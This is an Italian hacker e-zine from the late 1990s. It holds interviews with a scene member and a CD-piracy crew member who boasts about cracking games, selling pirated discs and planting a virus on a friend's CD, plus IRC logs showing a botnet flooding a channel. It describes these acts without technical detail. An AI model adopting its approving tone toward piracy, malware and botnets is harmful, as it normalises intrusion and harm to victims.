Insomma le solite cose che dicono tutti...hehehehehehe
N0bodY88: E' vero che bisogna lavorare nel mondo dei pc x diventare bravo?
ChRoMe: No,non e' un dogma, certo che se fai il pizzaiolo, come un mio amiko..
hehehehehe,la cosa si fa' un pelino piu' complicata,hai meno tempo da
dedicare al pc,sei meno informato...diciamo che lavorare nel settore..
...aiuta,ma non e' indispensabile.
N0bodY88: Cosa sono le cose + pazze-belle-divertenti-pericolose-azzardate-in
nocue che abbia mai fatto e di cui parlerai sicuramente se scriverai
un libro sulla tua vita?
ChRoMe: Beh..non ho mai pensato di scrivere un libro...hehehehehehe
E di cose pazze-belle-divertenti-pericolose-azzardate-innocue ne ho
fatte talmente tante, informatike e non, che dovrei scriverci
un'enciclopedia...hehehehehe
Certo quella volta nella N.A.S.A........
hhahahahahahahahahhahahahaha
N0bodY88: Se ti dicessero ti diamo tutto quello che vuoi se non tocchi +
nessun pc, telefono, cellulare, centraline et simili cosa
risponderesti?
ChRoMe: Tutto,propio tutto quello che ho da chiedere?? Se me lo danno...cosa
e' un PC? Un cellulare???...mai sentiti nominare :))
N0bodY88: Cosa hai in mente di fare nel futuro (oltre ad hackerare il sito
di newbies :PPP)?
ChRoMe: Apparte che quello lo ho gia' hackerato... :PPP
Ho solo buoni propositi :)
Uno dei migliori...non rilasciare piu' interviste...hehehehehehehe
Adesso,oltre che Netrunners (la e-zine)...ho in mente altri
progettini...sempre sul condividere conoscenze...ma il tempo e' quello
che e'...si cresce.Gli impegni, il lavoro...non ce' molto piu' da
spippolare...anke se qualke seratina come hai vecchi tempi...me la
faccio volentieri :)
Una cosa e' certa...dura da dire ma certa...sono un po' sul viale del
tramonto..ma ke ci volete fare...si invekkia
hehehehehehehehehehehe
;))
N0bodY88: Grazie per avermi concesso il tuo tempo, e a nome di tutto il
NewBies Staff grazie 1000 x averci rilasciato questa intervista ^__^
ChRoMe: Grazie a voi per avermela chiesta
Un saluto a tutti gli amici,e vi prego...non prendetemi troppo per il
culo...hahahahahahahahahahahahahhha
ChRoMe: Ciao ragazzi e statemi buoni...

Byz
ChRoMe SPP MemBers

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍ»
ÌÍÍ͹ INTERVISTA A UNA CREW POCO CONOSCIUTA ÌÍÍ͹
ÈÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍͼ

legenda: NONHONOME = e' l'intervistatore di cui non mettiamo il nick su sua
richiesta, causa possibili casini...
TL-MAN = una delle tre menti che producono i famosi Twilight

NONHONOME: Quando hai cominciato a programmare ?
TL-MAN: All'eta' di 5 anni mio padre cominciava a spiegarmi come funzionava il
mio primo computer ...alla fine dell'anno ero riuscito a completare
il mio programma in qbasic capace di svolgere tutti i tipi di calcoli
matematici non complessi ...(ovvio che sapevo gia' contare ...) .

NONHONOME: Come 6 riuscito ad entrare nei Twilight ?
TL-MAN: Non e' proprio che ci sia riuscito ...che io abbia cercato loro e che
loro abbiano cercato me ...ci si e' incontrati su icq 1a decina d'anni
fa ...eravamo programmatori incalliti squattrinati .

NONHONOME: Quanti cd credi di aver copiato nella tua vita ?
TL-MAN: Mhmmm ....quando e' uscito il primo masterizzatore a 1x che costava
circa 4.000.000 ??? Bho ...Cmq si puo stimare con 1 calcolo matematico
+ o - ... Facevo e faccio 6h di computer al gg (dalle 14.00 alle 20.00
~) quindi salvo inconvenienti alla fine della settimana 42h ...in 1
mese 180 ...in 1 anno 2160 ...ho tenuto l'1x per circa 2 anni prima di
prendermi il 2x...quindi con il master a 1x ho copiato circa
1cd/h=2000 cd dato che non facevo altro che masterizzare ...poi con
l'arrivo del master a 2x poi a 4x infine (ora) a 8x i cd non si
contano ...solo la lista dei cd che devo tenere dentro casa occupa 1
cd da 710mb quindi fatevi voi il conto del numero di cd che ho dato
che a ogni riga di documento corrisponde 1 programma ...

NONHONOME: Che giochi hai crakkato fin'ora e qual'e' stato il piu' impegnativo?
TL-MAN: Anche quelli sono abbastanza ...1 numero non lo so fare ...quello che
mi arrivava non crakkato io krakkavo ... Il gioco che + mi ha rotto i
coglioni e' stato XFiles ...di per se' non e' molto complesso ma 7o8
cd (non mi ricordo + ...) mi hanno fatto perdere circa 1a settimana
ossia ~42h~ ...

NONHONOME: Su che macchine hai lavorato ?
TL-MAN: Il mio primo pc e' stato il gloriosissimo M24 dell'ibm ...ho poi avuto
un 80 , un 286 , 486 , un pentium 75 , un *pentium 150~ , un pentium
200~ , un pentium II 333 , un pentium III 500~ (provero' a clokkarlo..
..) . Quello che mi piace di piu' e di cui mi sento "fortunato" e il
fatto di essere cresciuto con loro ...e in fatto di hardware credo di
non essere tanto male .

NONHONOME: La cosa + pazza che tu abbia mai fatto ?
TL-MAN: Hehehehehe ...che domanda ...Penso che il fatto di aver creato 1TL
apposta per 1 mio """"amico"""" con dentro 1o dei miei virus (effetti
sono stati)sia abbastanza pazza ....NO la cosa + pazza che abbia mai
fatto e' quando , studiando lassembler , ho preso la tastiera e l'ho
buttata fuori dalla finestra !!!! Ero troppo incazzato ...avevo fatto
partire uno dei miei virus sul mio povero 486 ...quell' HD non ha +
visto un dato ...le dita erano scollegate dal cervello ...

NONHONOME: Le protezioni che metti nei cd sono cattive ?
TL-MAN: ??????? ASSOLUTAMENTE NOOOOOO (sono delle merde di protezioni).
Vendiamo X cd quei cd sono di 710 Mb (ce li facciamo fare da un membro
della crew che s'e' costruito/comprato un macchinario grande come 1a
scrivania per stampare i cd ) . La cosa che mi anzi CI fa 1 po'
incazzare sono le leggende metropolitane che quel dato TL sia protetto
..NO! Quelli che vi arrivano a casa non sono sicuramente quelli da 710
Mb perche' di quelli al massimo potete *copiare i giochi che
contengono e il menu' ma non il cd intero(a-che non vi troviate un
fornitore di cd da710 Mb ...inesistente) . Qualcuno di voi a mai
visto 1 cd ORIGINALE Twilight ??? Non credo proprio ...anche perche'
li facciamo arrivare e partire da altri stati che non siano i nostri
in modo da "disorientre gli eventuali pulotti" . Qualcuno (non faccio
nomi) ha detto che le protezioni dei TL sono delle cazzate ....
E' SCONTATO !!! Noi non li proteggiamo affatto sono quelli che li
clonano che li proteggino ...hahahahahaha !!! Cmq dal 42 in poi credo
che ci metteremo di impegno per escogitare qualche protezione ...su
alcuni originali la stiamo testando ma non e' ancora cosi' efficace...
di sicuro non sara' infallibile ma certamente chiunque dovra' farsi il
culo a ogni numero prima di poterselo copiare !!! Ah dimenticavo poi
di aggiungere che ai cd clonati che vi arrivano a casa sono stati
tolti 1o o + giochi causa incopetenza del "cloner" e di 1a piccola
protezione (cretina ma proprio chertina) che mettiamo sui cd.

NONHONOME: Quanti siete ?
TL-MAN: Pochi ma buoni ...siamo in 3 ! Abbiamo iniziato e finiremo in 3 ...
cmq quando ci stuferemo i TL continueranno di certo come in questo
periodo nel quale abbiamo incaricato un'altra crew di continuare al
posto nostro perche' abbiamo seri problemi .

NONHONOME: Come vi contattate ?
TL-MAN: Usiamo un programmino di nostra invenzione in internet e ci troviamo
a ore impossibili data la differenza tra i fusi ...

NONHONOME: Quanto guadagnate in 1 mese ?
TL-MAN: Bhe mia mamma quando si e' vista arrivare 1a busta contentente TUTTO
il guadagno di 1 mese credeva avessi rapinato 1a banca per cui ho
detto :( agli altri membri di mettere tutto cio' che non posso avere
ora in 1 conto a parte ...adesso a casa mi arrivano si e no 3mil/mese.

NONHONOME: Perche' ti piace krakkare ?
TL-MAN: Penso che quello che mi spinge di + in questo "gioco" sia la sfida...

NONHONOME: In quali altri gruppi 6 stato ?
TL-MAN: Nessun altro. Il primo ed ultimo gruppo in cui saro' sara' il nostro.

NONHONOME: Di dove siete ?
TL-MAN: In Italia ci sono solo io (se parlo italiano ...) Gli altri sono uno
in Inghilterra l'altro Nell'America Settentrionale ...

TL-MAN: Ora Newbies puo' vantare un maggiore interesse anche da parte della
guardia di finanza !!!!

NONHONOME: Grazie del tuo aiuto [ :PPPPP ] x far interessare la pula a noi!
e grazie x l'intervista. Alla proXima ciauz
TL-MAN: Ciaoz ci vediamo in rete :)

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°ÛÛ°°°°°ÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°°°°°°ÛÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛÛ°ÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°²
²°ÛÛ°°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛ°°°°ÛÛÛÛ°ÛÛ°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°²
²°ÛÛ°°°°°ÛÛ°°ÛÛ°°ÛÛ°ÛÛÛÛ°°°ÛÛ°°ÛÛÛ°Û°°°°ÛÛ°ÛÛ°°ÛÛ°ÛÛ°ÛÛÛÛ°°°ÛÛÛÛÛÛÛ°°ÛÛÛÛ°°°°²
²°ÛÛ°°°°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°°Û°Û°ÛÛ°°Û°°°°ÛÛ°°ÛÛÛÛ°°ÛÛ°ÛÛ°°°°°°°°°°ÛÛ°°ÛÛ°°°°°°²
²°ÛÛÛÛÛÛ°ÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°°ÛÛ°°ÛÛÛ°ÛÛÛ°°ÛÛ°°°ÛÛ°°°ÛÛ°ÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

Non siamo certo noi che possiamo dire chi e' un hacker e chi e' un lamer, ma
abbiamo deciso di mettere alcuni log delle discussioni avvenute su irc che +
ci hanno colpito, e x quanto riguarda m0f0z secondo molti non e' un hacker ma
solo uno con tante shell, tant'e' che se e' vero che in 1 min ti porta 50 bot
su che chan vuole, e anke vero che se qualcuno (non io eheheh...magari!!!!!)
volesse potrebbe buttarglieli giu' tutti in meta' tempo...

Ecco a voi i log raccolti in questi 2 mesi, byezz N0bodY88

ÉÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍ»
ÌÍÍ͹ M0F0Z LAMER O HACKER ??? ÌÍÍ͹
ÈÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍͼ


[15:32] <ghimlet> ciao kali
[15:32] <}SquartY{> cia' frate'
[15:32] <Kalidor> ciao squa
[15:32] <Kalidor> ciao ghim
[15:33] <}SquartY{> Mofz
[15:33] <Kalidor> tho oggi c'e' m0f0z the lamer
[15:33] <}SquartY{> azz
[15:33] <}SquartY{> Kalidor
[15:33] <}SquartY{> appunto questo volevo dirti
[15:33] <}SquartY{> una cosa
[15:33] <Kalidor> cosa
[15:33] <}SquartY{> kome fai ad essere certo
[15:33] <}SquartY{> ke m0f0z fossse un lamer ?
[15:33] <Kalidor> fosse?
[15:34] <Kalidor> che italiano wow
[15:34] <Kalidor> bhe
[15:34] <Kalidor> squa
[15:34] <Kalidor> si capisce bene
[15:34] <Kalidor> dal fatto che rompe sempre
[15:34] <}SquartY{> Kalidor
[15:34] <Kalidor> che dice che lui hackera la nasa
[15:34] <}SquartY{> mmh
[15:34] <Kalidor> il fatto e' che
[15:34] <}SquartY{> non kredo ke abbia mai nominato Nasa
[15:34] <Kalidor> lui ha una presunta shell
[15:34] <Kalidor> in un .gov
[15:34] <Kalidor> e si crede chissachi
[15:35] <Kalidor> a me si
[15:35] <Kalidor> parlavamo di nasa.gov
[15:35] <Kalidor> e lui si e' messo a dire che ha una shell li
[15:35] <}SquartY{> anke se fosse vero
[15:35] <Kalidor> shel da tutte le parti
[15:35] <}SquartY{> non e' lamah
[15:35] <Kalidor> lui e' l'uomo shell
[15:35] <Kalidor> si che e' lamah
[15:35] <}SquartY{> Kalidor
[15:35] <}SquartY{> non sapevo ke ki avesse un casino di shell fosse lamah
[15:35] <Kalidor> infatti no
[15:36] <Kalidor> ma lo e' chi dice di avere un casino di shell
[15:36] <Kalidor> ma non le ha
[15:36] <}SquartY{> Kalidor
[15:36] <Kalidor> cosa
[15:36] <}SquartY{> guarda gia' quanti cazzo di bot che ha
[15:36] <Kalidor> ma quelle non sono .gov
[15:36] <Kalidor> lui parlava di .gov
[15:36] <}SquartY{> appunto...........
[15:36] <}SquartY{> kalidor
[15:36] <Kalidor> mi han detto che FORSE lui ha una shell in un presunto .gov
[15:36] <}SquartY{> sulle .gov
[15:36] <Kalidor> ma di sicuro non in nasa.gov
[15:36] <}SquartY{> ci pigli le info
[15:36] <}SquartY{> al massimo
[15:36] <}SquartY{> ma non ci metti su i bot
[15:37] <Kalidor> lo so
[15:37] <}SquartY{> Kalidor
[15:37] <Kalidor> ma lui non ha
[15:37] <Kalidor> shell .gov a parte quella cazosa li
[15:37] <}SquartY{> ma anke se non hacka la Nasa
[15:37] <}SquartY{> rimane sempre il migliore
[15:37] <Kalidor> puf
[15:37] <Kalidor> fammi il piacere
[15:37] <Kalidor> il migliore lui?
[15:37] <Kalidor> si sara' preso
[15:37] <Kalidor> 4 shell
[15:37] <Kalidor> da qualche parte
[15:37] <Kalidor> in qualche canale
[15:37] <Kalidor> e ci ha messo 4 bot sopra
[15:38] <Mr-Xaway> ok
[15:38] <Mr-Xaway> guarda mo:)
[15:38] *** bLkKiLLaH (~redkillah@hkudhcp1.hku.hk) has joined #hacker2
[15:38] *** LeXLuThOr (^lexluthor@208.135.100.68) has joined #hacker2
[15:38] *** MeNToR (~mentor@210.96.140.2) has joined #hacker2
[15:38] *** StArWArS (~starwars@shadow.jpl.utsa.edu) has joined #hacker2
[15:38] *** SpITfiRe (~spitfire@shadow.jpl.utsa.edu) has joined #hacker2
[15:38] *** O`B` (-OB@sun.movar.pate.hu) has joined #hacker2
[15:38] *** TErMinUs (~terminus@210.96.140.2) has joined #hacker2
[15:38] *** CaMOrrA (^camorra@208.135.100.68) has joined #hacker2
[15:38] *** LInEsLady (~L|n35l3dy@195.96.230.135) has joined #hacker2
[15:38] *** `7tH-LoRd (~7thlord@193.254.40.35) has joined #hacker2
[15:38] *** Er-Mister (~MISTAH@kzwsun.butaman.ne.jp) has joined #hacker2
[15:38] *** UNzeTTAr0 (~UNZ@kzwsun.butaman.ne.jp) has joined #hacker2
[15:38] *** Att|la (-Attila@sun.movar.pate.hu) has joined #hacker2
[15:38] *** SUbNeT (^subnet@206.154.132.180) has joined #hacker2
[15:38] *** NEtMAsK (^netmask@206.154.132.180) has joined #hacker2
[15:38] *** Hub1 (~hub1@www.city.sanjo.niigata.jp) has joined #hacker2
[15:38] *** il-m0f0z (-il-m0f0z@n48-en1.rhea.cnusc.fr) has joined #hacker2
[15:38] *** TEkNoTRiP (^teknotrip@207.124.222.30) has joined #hacker2
[15:38] *** G0lIA (~G0lIA@195.96.230.135) has joined #hacker2
[15:38] *** PHrAcK (~phrack@n48-en1.rhea.cnusc.fr) has joined #hacker2
[15:38] *** InSaN|tY (~insanity@n32-en1.rhea.cnusc.fr) has joined #hacker2
[15:38] *** TRiCkY (~tricky@marius.univ-mrs.fr) has joined #hacker2
[15:38] *** SHiZNiT (~shiznit@ugolin.univ-mrs.fr) has joined #hacker2
[15:38] *** `7tHk-KrW (-7thkrew@193.254.40.35) has joined #hacker2
[15:38] *** `7tH-r0x (~7throx@194.151.101.35) has joined #hacker2
[15:38] <}SquartY{> azz
[15:38] <Kalidor> bhe
[15:39] <Kalidor> ?
[15:39] <}SquartY{> pure universita' francesi ?
[15:39] <}SquartY{> pure universita' francesi ?
[15:39] <}SquartY{> Kalidor
[15:39] <Mr-Xaway> piac?
[15:39] <Mr-Xaway> dipiac?
[15:39] <Kalidor> mha
[15:39] <}SquartY{> secondo me hai un po'torto
[15:39] <Mr-Xaway> bah
[15:39] *** StArWArS (~starwars@shadow.jpl.utsa.edu) has left #hacker2 (StArWArS)
[15:39] *** SpITfiRe (~spitfire@shadow.jpl.utsa.edu) has left #hacker2 (SpITfiRe)
[15:39] *** LeXLuThOr (^lexluthor@208.135.100.68) has left #hacker2 (LeXLuThOr)
[15:39] *** TErMinUs (~terminus@210.96.140.2) has left #hacker2 (TErMinUs)
[15:39] *** MeNToR (~mentor@210.96.140.2) has left #hacker2 (MeNToR)
[15:39] *** CaMOrrA (^camorra@208.135.100.68) has left #hacker2 (CaMOrrA)
[15:39] *** Att|la (-Attila@sun.movar.pate.hu) has left #hacker2 (Att|la)
[15:39] *** O`B` (-OB@sun.movar.pate.hu) has left #hacker2 (O`B`)
[15:39] *** SUbNeT (^subnet@206.154.132.180) has left #hacker2 (SUbNeT)
[15:39] *** bLkKiLLaH (~redkillah@hkudhcp1.hku.hk) has left #hacker2 (bLkKiLLaH)
[15:39] *** NEtMAsK (^netmask@206.154.132.180) has left #hacker2 (NEtMAsK)
[15:39] <Kalidor> i nick sono stupidi
[15:39] <}SquartY{> embe
[15:39] <}SquartY{> ke centra ?
[15:39] *** il-m0f0z (-il-m0f0z@n48-en1.rhea.cnusc.fr) has left #hacker2 (il-m0f0z)
[15:39] *** G0lIA (~G0lIA@195.96.230.135) has left #hacker2 (G0lIA)
[15:39] *** `7tHk-KrW (-7thkrew@193.254.40.35) has left #hacker2 (`7tHk-KrW)
[15:39] *** PHrAcK (~phrack@n48-en1.rhea.cnusc.fr) has left #hacker2 (PHrAcK)
[15:39] *** Hub1 (~hub1@www.city.sanjo.niigata.jp) has left #hacker2 (Hub1)
[15:39] *** TEkNoTRiP (^teknotrip@207.124.222.30) has left #hacker2 (TEkNoTRiP)
[15:39] *** FedsR-Us (~fedsareus@n32-en1.rhea.cnusc.fr) has joined #hacker2
[15:39] *** NoWayOut (~nowayout@marius.univ-mrs.fr) has joined #hacker2
[15:39] *** XIpHeR (~shiznit@ugolin.univ-mrs.fr) has joined #hacker2
[15:39] *** NoWayOut (~nowayout@marius.univ-mrs.fr) has left #hacker2 (NoWayOut)
[15:39] *** XIpHeR (~shiznit@ugolin.univ-mrs.fr) has left #hacker2 (XIpHeR)
[15:39] *** SHiZNiT (~shiznit@ugolin.univ-mrs.fr) has left #hacker2 (SHiZNiT)
[15:39] *** InSaN|tY (~insanity@n32-en1.rhea.cnusc.fr) has left #hacker2 (InSaN|tY)
[15:39] *** TRiCkY (~tricky@marius.univ-mrs.fr) has left #hacker2 (TRiCkY)
[15:39] *** `7tH-r0x (~7throx@194.151.101.35) has left #hacker2 (`7tH-r0x)
[15:39] *** UNzeTTAr0 (~UNZ@kzwsun.butaman.ne.jp) has left #hacker2 (UNzeTTAr0)
[15:39] *** FedsR-Us (~fedsareus@n32-en1.rhea.cnusc.fr) has left #hacker2 (FedsR-Us)
[15:39] *** Er-Mister (~MISTAH@kzwsun.butaman.ne.jp) has left #hacker2 (Er-Mister)
[15:39] *** LInEsLady (~L|n35l3dy@195.96.230.135) has left #hacker2 (LInEsLady)
[15:39] *** `7tH-LoRd (~7thlord@193.254.40.35) has left #hacker2 (`7tH-LoRd)
[15:39] <Kalidor> niente
[15:40] <}SquartY{> e allora...........
[15:40] <Kalidor> bha
[15:40] <}SquartY{> kredo ke ci dovremmo solo inkinare a lui
[15:40] <Kalidor> ha quache shell in piu'
[15:40] <}SquartY{> ed essere onorati della sua presenza su sta chan
[15:40] <Kalidor> squa sei un lecchino di merda
[15:40] <}SquartY{> Kalidor
[15:41] <}SquartY{> sto dicendo solo la verita'
[15:41] <Kalidor> hai fifa di lui forse
[15:41] <}SquartY{> ki non l'avrebbe ?
[15:41] <Mr-Xaway> :)
[15:41] <Kalidor> io?
[15:41] <Kalidor> =)
[15:41] <}SquartY{> tu ke hai una connessione isdn ?
[15:41] <}SquartY{> per favore.........
[15:41] <Kalidor> tanto piu' che disconnettermi non puo' fare
[15:41] <Kalidor> sai che paura che mi fa
[15:41] <Kalidor> e poi
[15:41] <Kalidor> ovviamente
[15:41] <Kalidor> il grande hacker
[15:41] <Kalidor> non fa lamerate
[15:42] <Kalidor> tipo smurf
[15:42] <}SquartY{> ekko
[15:42] <}SquartY{> e' per questo
[15:42] <}SquartY{> ke non ci caga proprio.........
[15:42] <Kalidor> io direi di si
[15:42] <Kalidor> perche'
[15:42] <Kalidor> se avesse qualcosa di piu' da fare
[15:42] <Kalidor> non adrebbe in giro a takkare canali a caso
[15:43] <Kalidor> trovati una ragazza mofo
[15:43] <}SquartY{> Kalidor
[15:43] <}SquartY{> non parlare piu' plz..........
[15:43] <Kalidor> perche'?
[15:43] <ghimlet> kali scusa anche noi ogni tanto ci dilettiamo a takkare
quindi io non posso parlare
[15:44] <Kalidor> bhe ma quello e' per sport
[15:44] <Kalidor> =)
[15:44] <Kalidor> poi
[15:44] <Kalidor> li ridiamo
[15:44] <Kalidor> i canal
[15:44] <Kalidor> i
[15:44] <ghimlet> :)
[15:44] <}SquartY{> kalidor
[15:44] <}SquartY{> guarda ke noi i canali li perdiamo.........
[15:44] <ghimlet> hahaha
[15:44] <Kalidor> bhe
[15:44] <Kalidor> se volessimo takkarli per davvero
[15:44] <Kalidor> ci metteremmo almeno un bot
[15:44] <Kalidor> no?
[15:45] <ghimlet> si e' vero
[15:45] <}SquartY{> si
[15:45] <}SquartY{> ma visto
[15:45] <}SquartY{> ke noi stiamo skarsi a shell
[15:45] <}SquartY{> ce la facciamo a piedi...........
[15:45] <Kalidor> bhe
[15:45] <Kalidor> w00f w00f qualche shellina l'ha sempre
[15:46] <}SquartY{> kalidor
[15:47] <ghimlet> veramente anche io ho un po di shell ma per il momento non ci metto bot io
[15:47] <Kalidor> appunto
[15:47] <Kalidor> non ce ne frega proprio niente dei bot a noi
[15:47] <}SquartY{> kal
[15:47] <}SquartY{> guarda ke tutte le shell
[15:47] <}SquartY{> ke abbiamo noi di hacker2
[15:47] <}SquartY{> non apparano quelle di mofoz
[15:48] <Kalidor> apparano?
[15:48] <}SquartY{> cioe'
[15:48] <}SquartY{> guarda ke tutte le shell
[15:48] <}SquartY{> ke abbiamo noi di hacker2
[15:48] <}SquartY{> non sono nemmeno la minima parte
[15:48] <}SquartY{> di quelle di mofoz
[15:48] <Kalidor> bhe
[15:49] <Kalidor> certo
[15:49] <Kalidor> lui sta tutto il giorno a cercarl
[15:49] <}SquartY{> allora
[15:49] <Kalidor> fa solo quello
[15:49] <}SquartY{> e ci riesce pure............
[15:49] <Kalidor> e' peggio di me
[15:49] <ghimlet> si ma magari m0f0 le ha inculate in giro grazie al cazzo
senza il minimo sforzo
[15:49] <Kalidor> infatti
[15:49] <Kalidor> magari e' andato in giro per canali
[15:49] <}SquartY{> si
[15:49] <ghimlet> gia
[15:49] <Kalidor> ha scritto un paio di guest guest
[15:49] <Kalidor> e se l'e' prese
[15:49] <}SquartY{> a farsele regalare.........
[15:50] <Kalidor> oppure ha preso per il kulo quelli su #shell
[15:50] <}SquartY{> kalidor
[15:50] <Kalidor> e gli ha fregato le shel sotto il naso..
[15:50] <}SquartY{> ora faccio il paste
[15:50] <}SquartY{> di quello ke ha detto Lord
[15:50] <}SquartY{> [15:42] <L0rD^N0p1> ke lamah di merda che e' kalidor ...
[15:50] <Kalidor> uhm
[15:50] <Kalidor> ce l'ha con me?
[15:51] <}SquartY{> vedi tu.........
[15:51] <Kalidor> mah non so hihi
[15:51] <Kalidor> e lui che vuole
[15:51] <}SquartY{> difendeva mofoz
[15:51] <Kalidor> turna
[15:52] <}SquartY{> ke ?
[15:52] <Kalidor> tutti a lekkinar
[15:52] <Mr-Xaway> in ogni caso
[15:53] <Mr-Xaway> la botnet e' fatta insieme
[15:53] <Mr-Xaway> nel senso che alcune shells sono mie, altre di m0f0z
[15:53] <}SquartY{> ke e' MytHoSH ?
[15:53] <}SquartY{> si
[15:53] <}SquartY{> pero' senza dubbio Mofo
[15:53] <}SquartY{> e' il migliore
[15:53] <}SquartY{> ed io l'ho sempre detto.........
[15:53] <Kalidor> slap slurp
[15:53] <Kalidor> hihi
[16:07] *** }SquartY{ has quit IRC (Ping timeout)
[16:10] *** |MytHosH| (~mythos@a-ps3-5.tin.it) has left #hacker2 (|MytHosH|)

QUERY TRA ME (KALIDOR) E SQUARTY

[15:54] <Kalidor> cos'e' una tattica per farsi oppare o ti sei completamente rincoglionito
[15:54] <}SquartY{> kalidor
[15:54] <}SquartY{> dico solo la verita'
[15:54] <}SquartY{> perke' e' vero
[15:54] <Kalidor> [15:53] <qualcunonocitato> io penso che m0f0 non valga un cazzo
[15:54] <}SquartY{> ci sono stato un attimo
[15:54] <Kalidor> la pensano cosi'
[15:54] <Kalidor> tutti qui
[15:54] <Kalidor> tranne te
[15:55] <}SquartY{> ci sono stato un anno
[15:55] <Kalidor> e lord nop
[15:55] <}SquartY{> insieme a lui
[15:55] <}SquartY{> su #hackers.it
[15:55] <Kalidor> e che facevate
[15:55] <Kalidor> i takkini?
[15:55] <Kalidor> tutto il tempo?
[15:55] <}SquartY{> no
[15:55] <}SquartY{> Kalidor
[15:55] <}SquartY{> sai cosa penso io ?
[15:55] <Kalidor> di cosa
[15:56] <}SquartY{> ke tu non hai mai avuto la fantastica opportunita'
[15:56] <}SquartY{> di stare in una chan di hackers veri.........
[15:56] <}SquartY{> e quindi
[15:56] <}SquartY{> non ti puoi rendere conto............
[15:56] <Kalidor> m0f0 e' un hacker vero secondo te?
[15:57] <}SquartY{> e' certo............
[15:57] <Kalidor> bum
[15:58] <}SquartY{> ke ?
[15:58] <Kalidor> gli hacker veri
[15:58] <Kalidor> sono hacker veri
[15:58] <Kalidor> non stanno nemmeno a guardare
[15:58] <Kalidor> irc
[15:58] <Kalidor> se non per farsi 4 chiacchiere
[15:58] <Kalidor> non dicono a mezzo mondo che hanno shell
[15:58] <}SquartY{> infatti
[15:58] <Kalidor> e non takkano canali per far vedere che sono fighi
[15:59] <}SquartY{> 1)Credo ke se non esistesse irc non potrebbero essere mai esistite le crew........
[15:59] <}SquartY{> 2)Se ha parlato di shell e' per mettere a tacere certi lamah
[16:00] <}SquartY{> 3)Per me sta tentando di takkare tutte le chan di hacking italiane........
[16:00] <Kalidor> perche' e' un lamer
[16:00] <Kalidor> una volta che takka tutte le chan di hacking italiane che fa?
[16:00] <}SquartY{> niente
[16:00] <}SquartY{> ke ci vuoi fare ?
[16:00] <Kalidor> dice che sono figo che sono figo?
[16:01] <}SquartY{> ha monopolizzato tutto
[16:01] <Kalidor> mm e' nato un altro bill gates
[16:01] <Kalidor> ne basta uno
[16:01] <}SquartY{> kalidor
[16:01] <}SquartY{> secondo me
[16:01] <}SquartY{> ti sei rincoglionito un po'
[16:01] <Kalidor> hai parlato va

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍ»
ÌÍÍ͹ SCUSSA CHE TU CCIAI UNA CARTA DI CREEDITO? ÌÍÍ͹
ÈÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍͼ

Non sono un hacker e non sono forse neanche un newbies, ma alcune volte ankio
posso riconoscere un lamer...questo e' il log di un tipo che su #hackernow mi
ha querato prima pregandomi, e poi pigliandomi x il culo, a voi la sentenza;
ps: ho lasciato il suo vero nick xche' ognuno deve prendersi le proprie
responsabilita' simp (secondo il mio parere).

<^SerNok> please damme carte de credito che me serve da entrare in un sito
<^SerNok> per favore aiuto
<N0bodY88> non ne ho sorry
<^SerNok> vaffanculo
<^SerNok> a te frocio di merda che sei e ti fai chiamare hacccker

PS - COMPITO A CASA : trovatemi su quale delle 3 e-zine ho mai detto di essere
un hacker...

